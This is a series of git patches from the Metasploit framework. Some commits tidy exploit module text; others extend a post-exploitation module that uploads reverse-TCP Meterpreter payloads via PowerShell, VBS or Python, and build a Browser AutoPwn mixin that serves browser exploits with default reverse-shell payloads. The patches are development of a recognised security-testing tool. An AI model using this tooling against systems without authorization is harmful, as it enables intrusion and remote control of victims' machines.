From 72794e4c1a71497a7205a292701d4d557aba0912 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 20 Mar 2015 01:16:49 +0000 Subject: [PATCH 0001/1013] Removed double spaces --- lib/msf/core/exploit/http/client.rb | 2 +- modules/exploits/windows/http/xampp_webdav_upload_php.rb | 2 +- modules/exploits/windows/iis/iis_webdav_upload_asp.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index a8ee210f38..f9a57f7f49 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -47,7 +47,7 @@ module Exploit::Remote::HttpClient Rex::Proto::Http::Client::DefaultUserAgent ]), OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]), diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index 5c3e8725b5..744519e2fd 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']), OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]), OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) ], self.class) end diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb index f77ed98532..820a193e55 100644 --- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb +++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote # The USERNAME and PASSWORD are registered again to make them more obvious they're # configurable. OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp']) ], self.class) end From 5709d49aae05760905e1bd9e80f5a8506f87a662 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 20 Mar 2015 01:19:46 +0000 Subject: [PATCH 0002/1013] Clean up traq_plugin_exec --- modules/exploits/multi/http/traq_plugin_exec.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 932d09f4b3..0f5e27af98 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -17,12 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits an arbitrary command execution vulnerability in Traq 2.0 to 2.3. It's in the admincp/common.php script. - This function is called in each script located into /admicp/ directory to + This function is called in each script located in the /admicp/ directory to make sure the user has admin rights, but this is a broken authorization - schema due to the header() function doesn't stop the execution flow. This - can be exploited by malicious users to execute admin functionality resulting - for e.g. in execution of arbitrary PHP code leveraging of plugins.php - functionality. + schema due to the header() function doesn't stop the execution flow. + This can be exploited by malicious users to execute admin functionality. + e.g. execution of arbitrary PHP code leveraging of plugins.php functionality. }, 'License' => MSF_LICENSE, 'Author' => From 7426e723170962529e61844bfd864b94478d5718 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 20 Mar 2015 01:31:01 +0000 Subject: [PATCH 0003/1013] Grammar - traq_plugin_exec --- modules/exploits/multi/http/traq_plugin_exec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 0f5e27af98..67657d131e 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -18,9 +18,9 @@ class Metasploit3 < Msf::Exploit::Remote Traq 2.0 to 2.3. It's in the admincp/common.php script. This function is called in each script located in the /admicp/ directory to - make sure the user has admin rights, but this is a broken authorization - schema due to the header() function doesn't stop the execution flow. - This can be exploited by malicious users to execute admin functionality. + make sure the user has admin rights. This is a broken authorization schema + because the header() function doesn't stop the execution flow. + This can be exploited by malicious users to execute admin functionality, e.g. execution of arbitrary PHP code leveraging of plugins.php functionality. }, 'License' => MSF_LICENSE, From 127d07342e932ea15a16fcd691368f176925f86a Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 20 Mar 2015 01:36:56 +0000 Subject: [PATCH 0004/1013] Remove trailing space --- modules/exploits/multi/http/traq_plugin_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 67657d131e..7c972720cb 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote Traq 2.0 to 2.3. It's in the admincp/common.php script. This function is called in each script located in the /admicp/ directory to - make sure the user has admin rights. This is a broken authorization schema + make sure the user has admin rights. This is a broken authorization schema because the header() function doesn't stop the execution flow. This can be exploited by malicious users to execute admin functionality, e.g. execution of arbitrary PHP code leveraging of plugins.php functionality. From faa7ed2b68969f2e2741b3159c90c06d4c8633d9 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Sat, 13 Jun 2015 17:37:41 +0100 Subject: [PATCH 0005/1013] shell_to_meterpreter - more options, more verbose ...less bugs! --- .../post/multi/manage/shell_to_meterpreter.rb | 62 ++++++++++++++----- 1 file changed, 45 insertions(+), 17 deletions(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 7038742da4..5e06626ce5 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -31,16 +31,29 @@ class Metasploit3 < Msf::Post OptAddress.new('LHOST', [false, 'IP of host that will receive the connection from the payload.']), OptInt.new('LPORT', - [false, 'Port for Payload to connect to.', 4433]), + [false, 'Port for payload to connect to.', 4433]), OptBool.new('HANDLER', - [ true, 'Start an Exploit Multi Handler to receive the connection', true]) + [ true, 'Start exploit/multi/handler to receive the connection.', true]) ], self.class) + register_advanced_options([ + OptInt.new('HANDLE_TIMEOUT', + [false, 'How long to wait for the session to come back', 30]), + OptString.new('WIN_TRANSFER', + [false, 'Which method to try first to transfer files on a Windows target. Valid values are: POWERSHELL, VBS', 'POWERSHELL']), + OptString.new('PAYLOAD_OVERWRITE', + [false, 'Overwrite the default payload', nil]) + ], self.class) deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') end - # Run Method for when run command is issued + # Run method for when run command is issued def run - print_status("Upgrading session: #{datastore['SESSION']}") + print_status("Upgrading session ID: #{datastore['SESSION']}") + + if session.type =~ /meterpreter/ + print_error("Shell type is already Meterpreter.") + return nil + end # Try hard to find a valid LHOST value in order to # make running 'sessions -u' as robust as possible. @@ -52,7 +65,7 @@ class Metasploit3 < Msf::Post lhost = session.tunnel_local.split(':')[0] end - # If nothing else works.... + # If nothing else works... lhost = Rex::Socket.source_address if lhost.blank? lport = datastore['LPORT'] @@ -65,14 +78,17 @@ class Metasploit3 < Msf::Post lplat = [Msf::Platform::Windows] larch = [ARCH_X86] psh_arch = 'x86' + print_status("Platform: Windows") if datastore['VERBOSE'] when /osx/i platform = 'python' payload_name = 'python/meterpreter/reverse_tcp' + print_status("Platform: OS X") if datastore['VERBOSE'] when /solaris/i platform = 'python' payload_name = 'python/meterpreter/reverse_tcp' + print_status("Platform: Solaris") if datastore['VERBOSE'] else - # Find the best fit, be specific w/ uname to avoid matching hostname or something else + # Find the best fit, be specific with uname to avoid matching hostname or something else target_info = cmd_exec('uname -mo') if target_info =~ /linux/i && target_info =~ /86/ # Handle linux shells that were identified as 'unix' @@ -80,12 +96,16 @@ class Metasploit3 < Msf::Post payload_name = 'linux/x86/meterpreter/reverse_tcp' lplat = [Msf::Platform::Linux] larch = [ARCH_X86] + print_status("Platform: Linux") if datastore['VERBOSE'] elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/ # Generic fallback for OSX, Solaris, Linux/ARM platform = 'python' payload_name = 'python/meterpreter/reverse_tcp' + print_status("Platform: Python [fallback]") if datastore['VERBOSE'] end end + payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE'] + print_status("Upgrade payload: #{payload_name}") if datastore['VERBOSE'] if platform.blank? print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") @@ -101,28 +121,36 @@ class Metasploit3 < Msf::Post if datastore['HANDLER'] listener_job_id = create_multihandler(lhost, lport, payload_name) if listener_job_id.blank? - print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.") + print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.") return nil end end case platform when 'win' - if have_powershell? + if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS') + print_status("Transfer method: Powershell") if datastore['VERBOSE'] psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) else + print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL' + print_status("Transfer method: VBS [fallback]") if datastore['VERBOSE'] exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) aborted = transmit_payload(exe) end when 'python' + print_status("Transfer method: Python") if datastore['VERBOSE'] cmd_exec("python -c \"#{payload_data}\"") else + print_status("Transfer method: Bourne shell [fallback]") if datastore['VERBOSE'] exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) aborted = transmit_payload(exe) end - cleanup_handler(listener_job_id, aborted) if datastore['HANDLER'] + if datastore['HANDLER'] + print_status("Cleaning up handler") if datastore['VERBOSE'] + cleanup_handler(listener_job_id, aborted) + end return nil end @@ -150,7 +178,7 @@ class Metasploit3 < Msf::Post cmds = cmdstager.generate(opts) if cmds.nil? || cmds.length < 1 - print_error('The command stager could not be generated') + print_error('The command stager could not be generated.') raise ArgumentError end @@ -160,6 +188,7 @@ class Metasploit3 < Msf::Post total_bytes = 0 cmds.each { |cmd| total_bytes += cmd.length } + print_status("Starting transfer...") if datastore['VERBOSE'] begin # # Run the commands one at a time @@ -198,17 +227,16 @@ class Metasploit3 < Msf::Post def cleanup_handler(listener_job_id, aborted) # Return if the job has already finished return nil if framework.jobs[listener_job_id].nil? - framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) { if !aborted timer = 0 - while !framework.jobs[listener_job_id].nil? && timer < 10 - # Wait up to 10 seconds for the session to come in.. + print_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back") if datastore['VERBOSE'] + while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT sleep(1) timer += 1 end end - print_status('Stopping multi/handler') + print_status('Stopping exploit/multi/handler') framework.jobs.stop_job(listener_job_id) } end @@ -218,7 +246,7 @@ class Metasploit3 < Msf::Post # def progress(total, sent) done = (sent.to_f / total.to_f) * 100 - print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) + print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total]) end # Method for checking if a listener for a given IP and port is present @@ -238,12 +266,12 @@ class Metasploit3 < Msf::Post return false end - # Starts a multi/handler session + # Starts a exploit/multi/handler session def create_multihandler(lhost, lport, payload_name) pay = client.framework.payloads.create(payload_name) pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport - print_status('Starting exploit multi handler') + print_status('Starting exploit/multi/handler') if !check_for_listener(lhost, lport) # Set options for module mh = client.framework.exploits.create('multi/handler') From fc6860672b8346fffa3961c97ca156e34210e394 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Sat, 21 Mar 2015 01:57:13 +0000 Subject: [PATCH 0006/1013] Fix merge conflict due to #5527 ...my mistake --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 5e06626ce5..c06e5f8c46 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post OptInt.new('LPORT', [false, 'Port for payload to connect to.', 4433]), OptBool.new('HANDLER', - [ true, 'Start exploit/multi/handler to receive the connection.', true]) + [ true, 'Start an exploit/multi/handler to receive the connection', true]) ], self.class) register_advanced_options([ OptInt.new('HANDLE_TIMEOUT', From b57eb0897efa5184fc9703daec3838018dde99c3 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 27 Mar 2015 03:08:24 -0500 Subject: [PATCH 0007/1013] BAP v2 place holder --- modules/exploits/multi/browser/autopwn.rb | 39 +++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 modules/exploits/multi/browser/autopwn.rb diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb new file mode 100644 index 0000000000..135ad1c13f --- /dev/null +++ b/modules/exploits/multi/browser/autopwn.rb @@ -0,0 +1,39 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "HTTP Client Automatic Exploiter", + 'Description' => %q{ + Place holder + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' + ], + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 5 2014", + 'DefaultTarget' => 0)) + end + + + def on_request_exploit(cli, request, target_info) + send_exploit_html(cli, 'OK') + end + + +end From 4486831ba34e4128e1fe056caa8fb81234e9dd8d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 01:33:02 -0500 Subject: [PATCH 0008/1013] Module loading portion --- lib/msf/core/exploit/browserautopwnv2.rb | 172 ++++++++++++++++++++++ lib/msf/core/exploit/mixins.rb | 1 + modules/exploits/multi/browser/autopwn.rb | 3 +- 3 files changed, 175 insertions(+), 1 deletion(-) create mode 100644 lib/msf/core/exploit/browserautopwnv2.rb diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb new file mode 100644 index 0000000000..542b39b874 --- /dev/null +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -0,0 +1,172 @@ +### +# +# The Msf::Exploit::Remote::BrowserAutopwnv2 mixin is a replacement for the current BrowserAutoPwn +# +### + + +module Msf + module Exploit::Remote::BrowserAutopwnv2 + + include Msf::Exploit::Remote::BrowserExploitServer + + # @return [Array] + attr_reader :bap_exploits + + + # The default platform-specific payloads and preferred LPORTS + # The hash key is the name of the platform that matches what's on the module + DEFAULT_PAYLOADS = { + 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, + 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, + 'osx' => { 'payload' => 'osx/meterpreter/reverse_tcp', 'lport' => 4446 }, + 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, + 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, + 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } + } + + + # Returns all the found exploit modules that support BrowserExploitServer + # + # @return [Array] A collection of BES modules + def init_exploit_paths + @bap_exploits ||= lambda { + framework.exploits.find_all do |m| + next if m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname + m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer + end + }.call + end + + + # Initializes all found BES exploits + # + # @return [void] + def init_exploits + init_exploit_paths.each do |m| + module_name = m.first + xploit = framework.exploits.create(module_name) + unless xploit + print_status("Failed to load: #{name}") + next + end + set_exploit_options(xploit) + + # We don't have the :last method, so we retrieve at -1, which gives us the same thing + m[-1] = xploit + end + end + + + # Modifies an exploit's default datastore options + # + # @return [void] + def set_exploit_options(xploit) + p = pick_default_payload(xploit) + xploit.datastore['DisablePayloadHandler'] = true # BAP should handle the handlers + xploit.datastore['PAYLOAD'] = p['payload'] # We'll need this information later for multi handler + xploit.datastore['LPORT'] = p['lport'] # We'll need this information later for multi handler + xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not + xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version + xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP + xploit.datastore['URI'] = "/#{assign_module_resource}" + end + + + # Checks if a resource is already taken or not + # + # @return [TrueClass] Resource is taken + # @return [FalseClass] Resource is not taken + def is_resource_taken?(resource) + taken = false + + bap_exploits.each do |m| + obj = m.last + if obj.respond_to?(:datastore) && obj.datastore['URI'] == resource + # When a module has not be initialized, the object does not have the datastore + # method. So we need to check that first, so that we can access the URI option + # safely. + return true + end + end + + taken + end + + + # Returns a unique resource path + # + # @return [String] + def assign_module_resource + resource = '' + while + resource = Rex::Text.rand_text_alpha(rand(10) + 4) + break unless is_resource_taken?(resource) + end + + resource + end + + + # Returns a preferred default payload. The load order is based on this preference: + # if there is a browser-specific payload (such as firefox), then we'll use that as default. + # And then we fall back to the module's platform. If there's nothing we can choose, + # then we'll just use the generic reverse shell. + # + # @param [Class] The initialized exploit object + # @return [Hash] The default payload information from DEFAULT_PAYLOADS + def pick_default_payload(m) + module_platforms = m.platform.platforms + preferred_payload = DEFAULT_PAYLOADS['generic'] + + # Specific load order + if module_platforms.include?('firefox') + preferred_payload = DEFAULT_PAYLOADS['firefox'] + elsif module_platforms.include?('java') + preferred_payload = DEFAULT_PAYLOADS['java'] + elsif module_platforms.include?('android') + preferred_payload = DEFAULT_PAYLOADS['android'] + elsif module_platforms.include?('win') + preferred_payload = DEFAULT_PAYLOADS['win'] + elsif module_platforms.include?('linux') + preferred_payload = DEFAULT_PAYLOADS['linux'] + elsif module_platforms.include?('osx') + preferred_payload = DEFAULT_PAYLOADS['osx'] + end + + preferred_payload + end + + + # Sets up BAPv2. This is like our main function. + # + # @return [void] + def setup + super + print_status("Searching BES exploits, please wait...") + init_exploits + print_status("#{@bap_exploits.length} BES exploits found.") + end + + + # Overrides the original print_status. It will modify certain outputs to make messages more + # friendly to understand + def print_status(msg='') + case msg + when /Using URL: / + msg.gsub!('Using URL: ', '') + super("BrowserAutoPwn is using URL: #{msg}") + when /Local IP: / + msg.gsub!('Local IP: ', '') + super("Ask your target to visit this URL: #{msg}") + when /Server started\./ + super("Browser AutoPwn has started.") + else + super(msg) + end + end + + + end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index cd7edc03f9..91024ae873 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -104,3 +104,4 @@ require 'msf/core/exploit/android' # Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' +require 'msf/core/exploit/browserautopwnv2' diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 135ad1c13f..561cf509d7 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwnv2 def initialize(info={}) super(update_info(info, @@ -25,6 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', {} ] ], + 'Platform' => %w{ java linux osx solaris win }, 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", 'DefaultTarget' => 0)) From 6c9cc7c72538981e4810b7f659cb79b9ba82148c Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 13:30:34 -0500 Subject: [PATCH 0009/1013] Some progress --- lib/msf/core/exploit/browserautopwnv2.rb | 62 +++++++++++++++-------- modules/exploits/multi/browser/autopwn.rb | 30 +++++++---- 2 files changed, 63 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 542b39b874..d6b30b2ca7 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -4,13 +4,14 @@ # ### +require 'Date' module Msf module Exploit::Remote::BrowserAutopwnv2 include Msf::Exploit::Remote::BrowserExploitServer - # @return [Array] + # @return [Array] The exploit list BAP manages attr_reader :bap_exploits @@ -33,7 +34,7 @@ module Msf def init_exploit_paths @bap_exploits ||= lambda { framework.exploits.find_all do |m| - next if m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname + next if !m.first.include?('browser') || m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer end }.call @@ -56,6 +57,21 @@ module Msf # We don't have the :last method, so we retrieve at -1, which gives us the same thing m[-1] = xploit end + + # These can be done during initialization, so let's do that. But sort-by-requirement-count + # will have to occur after we actually have the target information. + $stderr.puts + $stderr.puts list_bap_names + sort_by_disclosure_date + sort_by_rank + $stderr.puts + $stderr.puts list_bap_names + end + + def list_bap_names + bap_exploits.each do |m| + $stderr.puts m.first + end end @@ -139,6 +155,30 @@ module Msf end + # Modifies @bap_exploits by sorting BAP exploits by disclosure date + # + # @return [void] + def sort_by_disclosure_date + @bap_exploits = bap_exploits.sort_by {|m| Date.parse(m.last.disclosure_date.to_s)}.reverse + end + + + # Modifies @bap_exploits by sorting BAP exploits by ranking + # + # @return [void] + def sort_by_rank + @bap_exploits = bap_exploits.sort_by {|m| m.last.rank} + end + + + # Returns a list of suitable exploits for the current target + # + # @return [Array] + def find_suitable_exploits(target_info) + $stderr.puts target_info.inspect + end + + # Sets up BAPv2. This is like our main function. # # @return [void] @@ -150,23 +190,5 @@ module Msf end - # Overrides the original print_status. It will modify certain outputs to make messages more - # friendly to understand - def print_status(msg='') - case msg - when /Using URL: / - msg.gsub!('Using URL: ', '') - super("BrowserAutoPwn is using URL: #{msg}") - when /Local IP: / - msg.gsub!('Local IP: ', '') - super("Ask your target to visit this URL: #{msg}") - when /Server started\./ - super("Browser AutoPwn has started.") - else - super(msg) - end - end - - end end diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 561cf509d7..ddd3d93e8b 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -17,22 +17,34 @@ class Metasploit3 < Msf::Exploit::Remote Place holder }, 'License' => MSF_LICENSE, - 'Author' => - [ - 'sinn3r' - ], - 'Targets' => - [ - [ 'Automatic', {} ] - ], - 'Platform' => %w{ java linux osx solaris win }, + 'Author' => [ 'sinn3r' ], + 'Targets' => [ [ 'Automatic', {} ] ], + 'DefaultOptions' => { + 'DisablePayloadHandler' => true # BAPv2 will set up our own + }, + 'Platform' => %w{ java linux osx solaris win android firefox }, 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'OSX Target', + { + :os_name => 'Mac OS X', + 'Rop' => :msvcrt, + 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret + 'Align' => 0x77c4d801 # add esp, 0x2c; ret + } + ] + ], 'DefaultTarget' => 0)) end def on_request_exploit(cli, request, target_info) + $stderr.puts get_target.inspect + $stderr.puts find_suitable_exploits(target_info) send_exploit_html(cli, 'OK') end From d9b77b0629fe9c3a7268948929dc80a4cd2b19eb Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 17:05:33 -0500 Subject: [PATCH 0010/1013] Sorting --- lib/msf/core/exploit/browserautopwnv2.rb | 130 ++++++++++++++--------- 1 file changed, 81 insertions(+), 49 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index d6b30b2ca7..2dfa8ca381 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -15,8 +15,8 @@ module Msf attr_reader :bap_exploits - # The default platform-specific payloads and preferred LPORTS - # The hash key is the name of the platform that matches what's on the module + # The default platform-specific payloads and preferred LPORTS. + # The hash key is the name of the platform that matches what's on the module. DEFAULT_PAYLOADS = { 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, @@ -28,23 +28,23 @@ module Msf } - # Returns all the found exploit modules that support BrowserExploitServer + # Returns all the found exploit modules that support BrowserExploitServer. # - # @return [Array] A collection of BES modules + # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. def init_exploit_paths - @bap_exploits ||= lambda { - framework.exploits.find_all do |m| - next if !m.first.include?('browser') || m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname - m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer - end - }.call + framework.exploits.find_all do |m| + next if !m.first.include?('browser') || m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname + m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer + end end - # Initializes all found BES exploits + # Initializes all found BES exploits. # # @return [void] def init_exploits + @bap_exploits = [] # Initialized BES modules are held here + init_exploit_paths.each do |m| module_name = m.first xploit = framework.exploits.create(module_name) @@ -53,29 +53,20 @@ module Msf next end set_exploit_options(xploit) - - # We don't have the :last method, so we retrieve at -1, which gives us the same thing - m[-1] = xploit + @bap_exploits << xploit end - - # These can be done during initialization, so let's do that. But sort-by-requirement-count - # will have to occur after we actually have the target information. - $stderr.puts - $stderr.puts list_bap_names - sort_by_disclosure_date - sort_by_rank - $stderr.puts - $stderr.puts list_bap_names end + + # For debugging purposes. def list_bap_names bap_exploits.each do |m| - $stderr.puts m.first + print_status(m.fullname) end end - # Modifies an exploit's default datastore options + # Modifies an exploit's default datastore options. # # @return [void] def set_exploit_options(xploit) @@ -90,30 +81,24 @@ module Msf end - # Checks if a resource is already taken or not + # Checks if a resource is already taken or not. # - # @return [TrueClass] Resource is taken - # @return [FalseClass] Resource is not taken + # @return [TrueClass] Resource is taken. + # @return [FalseClass] Resource is not taken. def is_resource_taken?(resource) taken = false bap_exploits.each do |m| - obj = m.last - if obj.respond_to?(:datastore) && obj.datastore['URI'] == resource - # When a module has not be initialized, the object does not have the datastore - # method. So we need to check that first, so that we can access the URI option - # safely. - return true - end + return true if m.datastore['URI'] == resource end taken end - # Returns a unique resource path + # Returns a unique resource path. # - # @return [String] + # @return [String] A unique resource path. def assign_module_resource resource = '' while @@ -130,8 +115,8 @@ module Msf # And then we fall back to the module's platform. If there's nothing we can choose, # then we'll just use the generic reverse shell. # - # @param [Class] The initialized exploit object - # @return [Hash] The default payload information from DEFAULT_PAYLOADS + # @param [Class] The initialized exploit object. + # @return [Hash] The default payload information from DEFAULT_PAYLOADS. def pick_default_payload(m) module_platforms = m.platform.platforms preferred_payload = DEFAULT_PAYLOADS['generic'] @@ -155,25 +140,70 @@ module Msf end - # Modifies @bap_exploits by sorting BAP exploits by disclosure date + # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. # # @return [void] - def sort_by_disclosure_date - @bap_exploits = bap_exploits.sort_by {|m| Date.parse(m.last.disclosure_date.to_s)}.reverse + def sort_bap_exploits + bap_groups = group_bap_modules + bap_groups = sort_date_in_group(bap_groups) + bap_groups = sort_group_by_rank(bap_groups) + finalize_sorted_modules(bap_groups) end - # Modifies @bap_exploits by sorting BAP exploits by ranking + # Sorts a grouped module list by disclosure date. # - # @return [void] - def sort_by_rank - @bap_exploits = bap_exploits.sort_by {|m| m.last.rank} + # @param [Hash] A grouped module list. + # @return [Hash] A hash with each module list sorted by disclosure date. + def sort_date_in_group(bap_groups) + bap_groups.each_pair do |ranking, module_list| + bap_groups[ranking] = module_list.sort_by {|m| Date.parse(m.disclosure_date.to_s)}.reverse + end end - # Returns a list of suitable exploits for the current target + # Sorts a module list by ranking. # - # @return [Array] + # @param [Hash] A grouped module list. + # @return [Hash] A hash grouped by ranking. + def sort_group_by_rank(bap_groups) + Hash[bap_groups.sort_by {|k,v| k}.reverse] + end + + + # Breaks @bap_exploits into groups. + # + # @return [Hash] A module list grouped by rank. + def group_bap_modules + bap_groups = {} + RankingName.each_pair do |ranking, value| + bap_groups[ranking] = [] + bap_exploits.each do 